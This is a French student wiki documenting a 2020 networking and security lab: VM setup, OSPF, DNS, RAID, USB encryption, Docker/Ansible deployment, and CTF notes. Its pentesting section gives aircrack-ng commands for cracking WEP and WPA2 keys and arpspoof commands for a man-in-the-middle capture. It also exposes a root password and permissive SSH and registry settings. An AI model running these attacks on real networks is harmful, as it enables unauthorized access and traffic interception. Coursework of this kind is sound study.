Version du 26 décembre 2020 à 16:43

Présentation générale

https://www.tricholome.site/

Ceci est le wiki du tp de PRA de 2020 réalisé par Samuel BENAYED et Théo EVRARD. Au cours de ce TP, de nombreux "exercices" ont pu être réalisés :

• Installation de machine virtuelles sur un serveur (Capbreton)
• Mise ne place d'une architecture réseau redondante reliée à Internet (en partenariat avec les groupes 1 et 14)
• Connexion de notre VM à ce réseau
• Cassage de clé WIFI (WEP et WPA)
• Intrusion au sein d'un service web
• Chiffrement d'une clé USB

L'ensemble de ces exercices nous a permis de mettre en application mais surtout d'approfondir nos connaissances en systèmes et réseaux. Nous tenons à remercier tout particulièrement nos professeurs pour l'aide non négligeable qu'ils nous ont apportée durant les heures de TP ainsi que Guillaume Rouillé pour son implication lors de la mise en place de l'architecture réseau.

Installation de la machine virtuelle

Nous avons installé la VM sur capbreton.plil.info avec la commande suivante :

root@capbreton:~# xen-create-image --hostname=tricholome --ip=100.64.0.18 --netmask=255.255.255.0 --password=pasglop --dir=/usr/local/xen --dist=buster --gateway=100.64.0.5 --force

Installation Summary

Hostname  : tricholome

Distribution  : buster

MAC Address  : 00:16:3E:66:21:C5

IP Address(es)  : 100.64.0.18

Root Password  : pasglop

Information disques :

--- Logical volume ---

 LV Path                /dev/storage/BenEvrard1
 LV Name                BenEvrard1
 VG Name                storage
 LV UUID                PMUddf-pfpz-CQW9-JDwp-5Bln-OwNV-cLQ2t8
 LV Write Access        read/write
 LV Creation host, time capbreton, 2020-10-12 16:37:17 +0100
 LV Status              available
 # open                 0
 LV Size                10.00 GiB
 Current LE             2560
 Segments               1
 Allocation             inherit
 Read ahead sectors     auto
 - currently set to     256
 Block device           254:11
  
 --- Logical volume ---
 LV Path                /dev/storage/BenEvrard2
 LV Name                BenEvrard2
 VG Name                storage
 LV UUID                peLdWt-86ZX-fai5-tkwS-VsTc-HApM-cnpqNr
 LV Write Access        read/write
 LV Creation host, time capbreton, 2020-10-12 16:37:20 +0100
 LV Status              available
 # open                 0
 LV Size                10.00 GiB
 Current LE             2560
 Segments               1
 Allocation             inherit
 Read ahead sectors     auto
 - currently set to     256
 Block device           254:12

Mise en réseau de la VM

On cherche à donner un accès internet à Tricholome, une attention toute particulière est portée à la redondance au sein du réseau. On a donc l'architecture suivante :

On a donc 2 routeurs (9200 et 6509-E) qui relient le serveur Capbreton au routeur de l'école et ainsi sortir sur internet.

Paramétrage de l'OSPF

Nos routeurs seuls ne nous mèneront pas bien loin, il est nécessaire, pour pouvoir communiquer avec l'extérieur, que ceux-ci disposent des tables de routage des routeurs voisins (notamment celui de l'école) afin de pouvoir orienter correctement nos paquets. Ce protocole de routage porte le nom de OSPF (Open Shortest Path Link) et doit donc être configuré correctement au sein de nos deux routeurs :

En minicom sur nos routeurs :

ip route 193.48.57.176 255.255.255.0 null0   #Ajout d'une route vers le routeur pour pouvoir ping directement à partir du routeur
router ospf 1                                         # un numéro de processus                                                                                                         
router-id 10.60.0.10X                                 # un id pour le routeur (X = 1 pour 6509-E et X = 2 pour 9200)
log-adjacency-changes                                                                                  
summary-address 193.48.57.176 255.255.255.240         # adresse que l'on souhaite diffuser aux voisins (addresse du VLAN 333)                                                                                                            
summary-address 100.60.0.0 255.240.0.0 not-advertise  # address q'on veut pas diffuser (celle du reseau privé)
summary-address 10.0.0.0 255.0.0.0 not-advertise      # address q'on veut pas diffuser (?)                                                                                                             
redistribute connected subnets                        # autorise la diffusion pour les nouveaux réseaux qui peuvent être connectés   
redistribute static subnets                                                                                                                        
network 192.168.222.8 0.0.0.7 area 2                  # domaine de diffusion OSPF (Attention au masque inversé)

Les nouvelles routes ainsi obtenues sont visibles via la commande : show ip route. La réussite de la manipulation est validée par un ping fonctionnel d'une VM vers 193.48.57.48 qui est l'adresse du routeur de l'école

Paramétrage du NAT

Service Internet

Serveur SSH

Autorisation de la connexion SSH en root dans le fichier /etc/ssh/sshd_config

PermitRootLogin yes

Connexion possible grâce à la commande : ssh root@193.48.57.185

Serveur DNS

Installation de bind9 :

apt install bind9 dnsutils

Modification du fichier /etc/resolv.conf (indique le serveur DNS à utiliser) :

nameserver 127.0.0.1

Modification de /etc/bind/named.conf.local

zone "tricholome.site" IN {
            type master;
            file "/etc/bind/db.tricholome.site.signed";
            allow-transfer { 217.70.177.40; }; 
            };

Configuration du DNS sur gandi.net :

• Ajout de deux External nameservers

ns1.tricholome.site
ns6.gandi.net

• Ajout de ns1.tricholome.site : 193.48.57.185 dans Glue records

Sécurisation de site web par certificat

Sécuritsation de serveur DNS par DNSSEC

Pentesting

Exploitation de failles du système

En parallèle des TPs, nous avons réalisé des challenges sur la plateforme Root-me.org afin d'affiner nos compétences

• https://www.root-me.org/totor62
• https://www.root-me.org/Gamjy

Cassage clé WEP

Les clés WEP utilisent l'algorithme de chiffrement RC4 qui crypte les messages via des vecteurs d'initialisation sur 24 bits. De cette manière en récupérant suffisamment de paquets échangés entre une machine et l'AP on peut récupérer plusieurs paquets chiffrés avec le même vecteur d'initialisation.

Dès lors on peut craquer le code assez facilement en se basant sur des attaques statistiques par exemple.

On démarre l'interface réseau en mode moniteur

airmon-ng start [interface réseau]

On affiche les réseaux disponibles en WEP

airodump-ng --encrypt wep [NomInterface]

On capture les paquets émis par l'AP (il en faut environ 50.000 pour avoir une bonne chance de le craquer, cela devrait offrir suffisamment de collisions)

airodump-ng --write output --channel [channel] -bssid [Adresse MAC AP] [NomInterface]

On casse le code avec

aircrack-ng -x output.cap

Cassage clé WPA2

Pour casser la clé WPA on utilise les commandes suivantes :

airmon-ng start [carte réseau]

On cherche ensuite à scanner l'environnement pour détecter les connexions possibles et leurs BSSID, ESSID ainsi que le canal utilisé :

airodump-ng [carte réseau]

Le crack d'une clé WPA nécessite un handshake entre l'AP et une machine. On récupère donc le handshake avec la commande :

airodump-ng -c[canal] -bssid [Adresse MAC de l'AP] -w output [carte réseau]

Après maximum une quinzaine de minutes on récupère le handshake.

A partir de là il suffit de réaliser une attaque par dictionnaire, nous savions que le code comporte 8 caractères numériques :

crunch 8 8 0123456789 -o dico.txt

Et pour lancer le bruteforce :

aircrack-ng -w dico.txt -b [Adresse MAC de l'AP] output*.cap

La clé est donc 20122222 pour la kracotte04, le bruteforce a duré 43min sur un intel core i5 8265U.

Attaque de l'homme du milieu

L'attaque consiste à usurper l'identité d'une machine par rapport au routeur pour récupérer toutes les données qui transitent entre le routeur et la machine victime.

Pour réaliser cette attaque on utilise les commandes suivantes :

arp -a 

Cela nous permet de récupérer les adresses ip du routeur et de la machine.

arpspoof -i eth0 -t <ip routeur> <ip machine>
arpspoof -i eth0 -t <ip machine> <ip routeur>

De cette manière on s'immisce entre les deux équipements en remplissant les tables ARP de mauvaises informations et on récupère le trafic.

Afin de rediriger le trafic on utilise :

echo 1 > /proc/sys/net/ipv4/ip_forward

Une fois que toutes ces commandes ont été lancées on attend que la machine victime se connecte à un site http afin de voir le trafic circuler en clair.

Capture Wireshark

On récupère ainsi des informations sensibles de la victime.

Cette attaque ne fonctionne pas si la victime utilise des sites sécurisés avec HTTPS car le protocole HTTPS utilise de la cryptographie asymétrique et les clés privées ne transitent donc pas sur le réseau.

Intrusion sur un serveur d’application Web

Le fichier explicatif est chiffré et disponible ci dessous.

Pour le déchiffrer il faut lancer les commandes suivantes :

wget https://wiki-ima.plil.fr/mediawiki//images/0/09/Intrusion.txt
gpg --decrypt Intrusion.txt
spécifier le mot de passe root@honey.plil.info

Réalisation

Sécurisation de données

Création des trois partitions 3 sur capbreton :

lvcreate -L1G -n tricholome.raid1 storage
lvcreate -L1G -n tricholome.raid2 storage
lvcreate -L1G -n tricholome.raid3 storage

Ajout dans /etc/xen/tricholome.cfg :

'phy:/dev/storage/tricholome.raid1,xvda5,w',
'phy:/dev/storage/tricholome.raid2,xvda6,w',
'phy:/dev/storage/tricholome.raid3,xvda7,w'

Reboot de la VM :

xl shut tricholome
xl create -c /etc/xen/tricholome.cfg

Sur tricholome, installation de mdadm.

apt instal mdadm

Construction et formatage du volume RAID 5.

mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7 
mdadm --monitor --daemonise /dev/md0
mkfs.ext4 /dev/md0 

Ajout de ce volume dans le fstab :

  /dev/md0   /raid5   ext4   defaults   0   2

Raid 5 nous permet de reconstruire d'un disque supprimé à partir de 2 autres disques. Il nous faut au minimum 3 disques. On peut donc supprimer une partition et toujours avoir accès à nos fichiers. On peut noter que pour 3 volumes alloués à Raid5, 1 ne sera pas "réellement utilisable".

Chiffrement de données

On cherche à chiffrer une clef USB.

fdisk -l # on repère la clé USB
fdisk /dev/sdb # on formate la clé en une seule partition

Installation de cryptsetup et lvm : apt install cryptsetup lvm2

cryptsetup luksFormat /dev/sdb1 # chiffrement de la partition de la clé USB
cryptsetup luksOpen /dev/sdb1 myusbkey # déchiffrement de la partition

On monte la clé USB, on la peuple :

mkdir /mnt/USB 
mount -t ext4 /dev/mapper/myusbkey /mnt/USB
touch /mnt/USB/sameo.txt

Puis on démonte le système de fichier proprement :

umount /mnt/USB
cryptsetup luksClose myusbkey

Pour que quelqu'un puisse accéder à notre clef, il doit maintenant renseigné le mot de passe.

Inspection ARP par un élément réseau

Nous avons à notre disposition un Cisco ASA-5506-X qui permet de monitorer le réseau et éviter notamment les attaques de type man in the middle (l'homme du milieu). Nous avions donc pour objectif de brancher l'appareil sur le réseau et d'y connecter deux machines de façon à pouvoir recréer une attaque ARP spoofing. Nous avons rencontré un problème lors de la mise en place de ce dispositif : le Cisco ASA-5506-X n'a pas la fonctionnalité commutateur contrairement au Cisco ASA-5505.

Nous n'avons donc pas pu réaliser cette partie.

Sécurisation WiFi par WPA2-EAP

TP ASR

Architecture de la ferme

Pour notre groupe, l'ensemble des machines virtuelles Xen étaient déjà installées.

Ajout d'une seconde interface réseau virtuelle à notre machine amanite sur capbreton (fichier /etc/xen/amanite.cfg) afin de la relier au VLAN50

vif = [ 'bridge=IMA5sc, ip=100.64.0.19 ,mac=00:16:3E:C4:6A:BB', 'bridge=bridgeStudents, ip=192.168.42.19, mac=00:16:3E:C4:6A:BC' ] 

Sur VM capbreton on configure notre fichier /etc/network/interfaces :

# The secondary network interface                                                                                                                            
auto eth1                                                                                                                                                    
iface eth1 inet static                                                                                                                                        
address 192.168.42.18                                                                                                                                     
netmask 255.255.255.0 

Mise en place d'une mascarade avec les commandes suivantes :

iptables -P FORWARD DROP
iptables -A FORWARD -j ACCEPT -s 192.168.45.4/24
iptables -A FORWARD -j ACCEPT -d 192.168.45.4/24
iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.4/24 --to-source 193.48.57.185

Permet à nos paquets en provenance de 192.168.45.4 (VM chassiron) de sortir sur internet en passant par notre interface eth0 de notre machine virtuelle sur capbreton.

Sur VM chassiron on configure notre fichier /etc/network/interfaces :

# The primary network interface
auto eth0                                                                                                               
iface eth0 inet static                                                                                                    
address 192.168.42.5/24                                                                                                 
gateway 192.168.42.18

Clés SSH

Génération d’une paire de clef asymétrique :

ssh-keygen -t rsa

Transmission de la clefs publique aux autres machines de chassiron :

cat .ssh/id_rsa.pub | ssh 192.168.42.x "cat >> /root/.ssh/authorized_keys2"

On peut maintenant se connecter en ssh sans authentification sur les autres machines de notre groupe.

Installation d'Ansible

Installation via la commande :

apt install ansible

Création d'un un inventaire hosts dans /etc/ansible :

[webserver]                                                                                                             
192.168.42.5                                                                                                                                                                                                                                    

[webservers]                                                                                                            
192.168.42.5                                                                                                            
192.168.42.2                                                                                                            
192.168.42.4                                                                                                            
192.168.42.7                                                                                                            
192.168.42.9                                                                                                            
192.168.42.12

On a donc deux ensemble, un contenant notre machine seule, l'autre contenant toutes les vm de chassiron. On pourra appeler ces ensembles dans nos playbook ansible.

Installation de docker

Avant de commencer l'installation de docker il nous faut ajouter les packages python3 et python3-pip à notre machine secondaire, nous avons utilisé ansible pour faire ceci en créant le rôle basic :

- name: package to be installed
  apt:
       update_cache: yes
       name: "{ { packages } }"
  vars:
       packages:
               - python3
               - python3-pip

Nous avons également récupéré le rôle geerlingguy.docker qui est un rôle fait pour déployer docker grâce à ansible (récupérer sur ansible galaxy).

Nous avons ensuite créé notre playbook pour déployer nos commandes :

- hosts: webserver
  roles:
         - basic
         - geerlingguy.docker
  vars:
        docker_apt_gpg_key: "https://download.docker.com/linux/debian/gpg"
        docker_apt_repository: "deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian buster { { docker_apt_release_channel } }"

Création de notre conteneur

Pour lancer notre containeur web nous avons commencé par créer le Dockerfile :

FROM httpd:2.4
COPY . /usr/local/apache2/htdocs/
CMD ["httpd", "-D", "FOREGROUND"]

Nous avons ensuite créé l'image du Dockerfile :

docker build -t web .

Puis nous avons lancé notre container

docker run -d -p "8085:80" --name web web

Plusieurs commandes nous permettent de vérifier le bon fonctionnement :

docker images (Affichage des différentes images docker installées)
docker ps -a (Affichage des différents containeurs en cours d'exécution)

Nous avons pu vérifier le bon fonctionnement de celui-ci grâce à la commande suivante :

curl 193.48.57.184:8085

Nous avons ensuite créé un rôle ansible pour créer un dépôt local docker sur notre machine secondaire (après avoir préalablement installer la collection via la commande : ansible-galaxy collection install community.general) :

- name: Setup registry
  docker_container:
          name: registry
          image: registry
          ports:
                  - "5000:5000"

Après cela nous avons voulu push notre image "web" vers notre dépôt mais une erreur est survenue, celle-ci vient du fait qu'il fallait rajouter le fichier daemon.json dans le dossier "/etc/docker/" afin de ne pas utiliser une connexion sécurisée.

{
      "insecure-registries" : ["192.168.42.5:5000"]
}

Une fois ce fichier modifié nous avons pu utiliser les commandes :

docker tag web 192.168.42.5:5000/webserver
docker push 192.168.42.5:5000/webserver

Puis coté chassiron :

docker pull 192.168.42.5:5000/webserver

Configuration de nos serveurs internes

Pour voir déployer nos containeurs sur tous les serveurs disponibles sur Chassiron nous avons d'abord créé notre rôle "new_container" :

- name: Create a container
  docker_container:
         name: amanite_container
         image: 192.168.42.5:5000/webserver_amanite
         ports:
                 - "8085:80"

Ce rôle permet (après avoir push sur le registry de notre seconde machine virtuelle), d'installer l'image webserver_amanite sur l'ensemble des machines qui sont dans l'hote webservers. Sur ces machines virtuelles, il faut également rajouter au fichier daemon.json (dans le dossier /etc/docker) l'ensemble des repository non sécurisés (afin d'y prendre les images).

Puis nous avons déployé notre container grâce à notre playbook :

- hosts: webservers
  roles:
         - new_container

Equilibreur de charge

Nous avons ensuite ajouté le serveur web virtuel reverse.amanite.site, puis nous avons activé les modules apaches suivants (pour l'ensemble de nos étapes) :

a2enmod proxy
a2enmod proxy_http
a2enmod proxy_balancer
a2enmod lbmethod_byrequests

Pour notre première partie nous avons modifier notre fichier amanite.site.db (qui se situe dans /etc/bind/zones) et nous y avons rajouter la ligne :

reverse IN      CNAME   www

(Nous n'oublions pas d'incrémenter le numéro de version, de signer la zone pour DNSSEC ainsi que redémarrer le service bind9).

Par la suite nous avons rajouter un site dans /etc/apache2/site-available que nous nommons reverse.conf :

<VirtualHost *:80>                                                                                                              
        ServerName reverse.amanite.site    
        ServerAdmin lolopierro                                                                                                                                                                                               
        ProxyPass / http://192.168.42.5:8085                                                                                      
        ProxyPassReverse / http://192.168.42.5:8085                                                                                                                                                                          
</VirtualHost>

Que nous ajoutons à nos sites enable via la commande : a2ensite reverse.conf, puis nous redémarrons le service apache2. Après cette étape notre site est accessible via l'URL reverse.amanite.conf (qui est pour le moment accessible via notre seule machine virtuelle secondaire sur chassiron).

Dans un second temps nous avons modifié notre fichier de configuration reverse.conf afin d'y rajouter de l'équilibrage de charge :

<VirtualHost *:80>
        ServerName reverse.amanite.site
        ServerAdmin lolopierro
        <Proxy "balancer://mycluster">
                BalancerMember "http://192.168.42.5:8085" route=1
                BalancerMember "http://192.168.42.2:8085" route=2
                BalancerMember "http://192.168.42.4:8085" route=3
                BalancerMember "http://192.168.42.7:8085" route=4
                BalancerMember "http://192.168.42.9:8085" route=5
                BalancerMember "http://192.168.42.12:8085" route=6
                ProxySet lbmethod=byrequests
        </Proxy>
        ProxyPass / balancer://mycluster/
        ProxyPassReverse / balancer://mycluster/
</VirtualHost>

Pour vérifier notre loadbalancing nous avons modifié notre page index.html, puis nous avons build notre nouvelle image docker contenant cette page html, nous l'avons push sur le registry et pull depuis notre machine amanite sur Chassiron. Nous avons ensuite relancé notre playbook nous permettant de déployer cette image sur toutes les machines secondaires virtuelles, mais seule notre machine amanite (car nous avons pull sur cette machine) et les machines n'ayant pas eu le déploiement avant ont été actualisé. Cela nous permet de bien vérifier notre loadbalancing.

Une deuxième méthode pour vérifier celui-ci est l'ajout du module status sur apache :

a2enmod status

Puis nous avons modifié notre fichier de configuration reverse.conf en y ajoutant les lignes suivantes :

<Location "/server-status">
         SetHanlder server-status
         Order Allow,Deny
         Allow from all
</Location>

Malheureusement nous n'arrivons pas à accéder à la page reverse.amanite.site/server-status malgré les différentes recherches effectuées.

Bonus

Participation au challenge Brigitte Friang (DGSE)

Participation en équipe à un challenge de cybersécurité organisé par la DGSE : https://www.defense.gouv.fr/dgse/tout-le-site/operation-brigitte-friang-prets-pour-relever-le-defi

Inscription au challenge :

• 1- Connexion à https://www.challengecybersec.fr :

L'observation du code source de la page nous amène à une nouvelle adresse https://www.challengecybersec.fr/static/message-secret.html contenant un texte et 5 caractères en gras

• 2- Dechiffrement de secret.html :

Il s'agit d'un texte chiffré avec un décalage ASCII de 7. Après déchiffrement on obtient un paragraphe nous expliquant qui était Brigitte Friang. L'observation des 5 caractères en gras nous donne /chat. On se connecte donc à https://www.challengecybersec.fr/chat. On arrive alors sur un portail avec différentes missions à accomplir

• 3- Cryptographie par Antoine Rossignol :

On récupère plusieurs fichiers appartenant à Eve Descartes dont archive_chiffree (qui est donc chiffrée), layout.pdf (qui est protégé par un mot de passe) ainsi que le mail d'information ci-dessous :

En appelant sur le numéro de Eve on entends une succession de "BIP" faisant penser à du code morse. La traduction de ces "BIP" nous donne le mot resistance qui correspond au mot de passe de layout.pdf

L'ouverture de layout.pdf nous montre une photographie au microscope de la puce ayant servi au chiffrement de archive_chiffree. On a en réalité la photographie de la zone servant à stocker la clé de chiffrement.

Selon l'hypothèse de départ (fusible coupé = 0 ou 1) plusieurs clés sont possibles. En prenant l'hypothèse fusible coupé = 1 on obtient la clé suivante :

0100000101000101010100110010000000110010001101010011011000100000010001010100001101000010001000000010000000100000001 0000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000

La conversion de ce code binaire en code ascii nous donne la chaine de caractères suivante qui est clairement un indice pour aider au déchiffrement de l'archive.

A l'aide d'un script python et du module pycrypto (pip install pycrypto), on déchiffre notre archive et obtiens le mot de passe b a:e z que l'on transmet à Antoine Rossignol. Ce mot de passe valide le challenge et nous permet ENFIN d'accéder au portail d'inscription à l'adresse suivante : https://ctf.challengecybersec.fr/7a144cdc500b28e80cf760d60aca2ed3/

Challenges réalisés :

Sur les 14 challenges proposés, 6 ont était réalisés ce qui nous a permis d'obtenir 600 point est de terminer 110e sur 785

Alone Musk :

Elevation de privilège au sein d'une machine et d'une application en python

Sous l'océan :

L'analyse du dump mémoire nous permet de récupérer l'historique de localisation. On remarque 19 "locations" sauvegardée avec entre 2 et n coordonnées pour chacune. En positionnant les coordonnées sur geogebra et en les reliant DANS L'ORDRE, on obtient le flag : DGSESIEE{OC34N} dessiné à l'écran

Definition :

Quelle heure est-il ? On transmet le nombre de seconde écoulée depuis 1970 via la commande suivante

date +%s | nc challengecybersec.fr 6660
edit: Merci Monsieur Redon

Keypad sniffeur :

Polyglotte :

Ascii UART :

La plupart des ressources ou code créé afin de résoudre ces challenges sont disponibles dans l'archive ci contre : Fichier:DGSE chall.zip

Participation au challenge DGHack (DGA)

Inscription bien plus simple que pour le challenge de la DGSE. Après avoir créé un compte sur https://www.dghack.fr/ on obtient un accès aux différents challenges.

Challenges réalisés

Internal Support 1 :

Time for something different :